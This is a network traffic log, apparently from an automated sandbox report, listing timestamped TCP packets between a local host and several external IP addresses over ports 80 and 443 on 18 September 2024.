Sep 18, 2024 14:30:10.190022945 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.190033913 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.190046072 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.190047979 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.190057993 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.190069914 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.190074921 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.190083027 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.190090895 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.190093040 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.190104008 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.190115929 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.190121889 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.190128088 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.190140009 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.190145969 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.190152884 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.190161943 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.190165043 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.190176964 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.190188885 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.190191031 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.190217018 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.190232992 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.190654039 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.190668106 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.190680027 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.190690994 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.190691948 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.190701962 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.190707922 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.190713882 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.190725088 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.190738916 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.190767050 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.190844059 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.190856934 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.190867901 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.190872908 CEST	49714	443	192.168.2.7	185.166.143.50
Sep 18, 2024 14:30:10.190881014 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.190884113 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.190892935 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.190902948 CEST	443	49714	185.166.143.50	192.168.2.7
Sep 18, 2024 14:30:10.190903902 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.190910101 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.190917969 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.190931082 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.190937042 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.190942049 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.190954924 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.190968037 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.190969944 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.190979958 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.190987110 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.190990925 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.191001892 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.191003084 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.191014051 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.191025019 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.191029072 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.191036940 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.191042900 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.191046953 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.191055059 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.191066980 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.191075087 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.191091061 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.191114902 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.191191912 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.191207886 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.191219091 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.191227913 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.191247940 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.191402912 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.191416979 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.191431046 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.191437006 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.191448927 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.191461086 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.191461086 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.191472054 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.191483974 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.191483974 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.191495895 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.191507101 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.191515923 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.191520929 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.191534042 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.191545010 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.191545010 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.191553116 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.191565990 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.191572905 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.191574097 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.191582918 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.191591978 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.191596031 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.191607952 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.191617966 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.191622972 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.191633940 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.191634893 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.191648960 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.191652060 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.191659927 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.191680908 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.191687107 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.191698074 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.191699028 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.191720963 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.191735983 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.191833019 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.191845894 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.191858053 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.191865921 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.191883087 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.191900015 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.192024946 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.192038059 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.192048073 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.192060947 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.192061901 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.192073107 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.192081928 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.192111015 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.192204952 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.192218065 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.192234039 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.192240000 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.192246914 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.192260027 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.192267895 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.192271948 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.192285061 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.192296028 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.192296982 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.192308903 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.192320108 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.192321062 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.192336082 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.192336082 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.192348957 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.192358971 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.192361116 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.192372084 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.192393064 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.192395926 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.192406893 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.192414045 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.192420959 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.192435026 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.192440987 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.192445993 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.192456961 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.192468882 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.192468882 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.192481995 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.192487955 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.192493916 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.192504883 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.192506075 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.192517042 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.192528009 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.192528963 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.192542076 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.192553997 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.192559958 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.192574024 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.192581892 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.192589045 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.192595005 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.192605972 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.192614079 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.192617893 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.192627907 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.192629099 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.192640066 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.192646980 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.192651987 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.192663908 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.192675114 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.192676067 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.192687035 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.192697048 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.192697048 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.192708969 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.192717075 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.192720890 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.192735910 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.192744970 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.192745924 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.192761898 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.192761898 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.192774057 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.192779064 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.192785978 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.192796946 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.192804098 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.192816973 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.192828894 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.192832947 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.192841053 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.192851067 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.192852974 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.192866087 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.192877054 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.192878008 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.192889929 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.192898989 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.192900896 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.192913055 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.192918062 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.192924976 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.192931890 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.192936897 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.192948103 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.192956924 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.192959070 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.192970991 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.192981958 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.192987919 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.192991972 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.192996025 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.193008900 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.193022013 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.193032980 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.193044901 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.193046093 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.193046093 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.193058014 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.193070889 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.193078995 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.193078995 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.193083048 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.193099976 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.193120003 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.193131924 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.193137884 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.193137884 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.193142891 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.193156004 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.193156958 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.193170071 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.193181992 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.193193913 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.193192959 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.193206072 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.193207979 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.193207979 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.193217993 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.193229914 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.193238974 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.193245888 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.193254948 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.193258047 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.193272114 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.193283081 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.193295956 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.193305969 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.193305969 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.193306923 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.193320036 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.193331003 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.193331957 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.193345070 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.193356991 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.193361998 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.193376064 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.193386078 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.193386078 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.193387032 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.193402052 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.193406105 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.193414927 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.193427086 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.193438053 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.193721056 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.193862915 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.193876982 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.193887949 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.193900108 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.193912029 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.193918943 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.193923950 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.193937063 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.193948030 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.193958044 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.193958044 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.193959951 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.193977118 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.194036961 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.194050074 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.194062948 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.194075108 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.194088936 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.194089890 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.194102049 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.194113970 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.194124937 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.194137096 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.194143057 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.194143057 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.194150925 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.194161892 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.194164038 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.194176912 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.194185019 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.194189072 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.194202900 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.194219112 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.194227934 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.194227934 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.194238901 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.194250107 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.194262028 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.194276094 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.194278955 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.194278955 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.194288969 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.194297075 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.194303989 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.194317102 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.194329023 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.194344044 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.194355011 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.194355965 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.194355011 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.194370985 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.194382906 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.194392920 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.194392920 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.194396019 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.194410086 CEST	80	49704	147.45.44.104	192.168.2.7
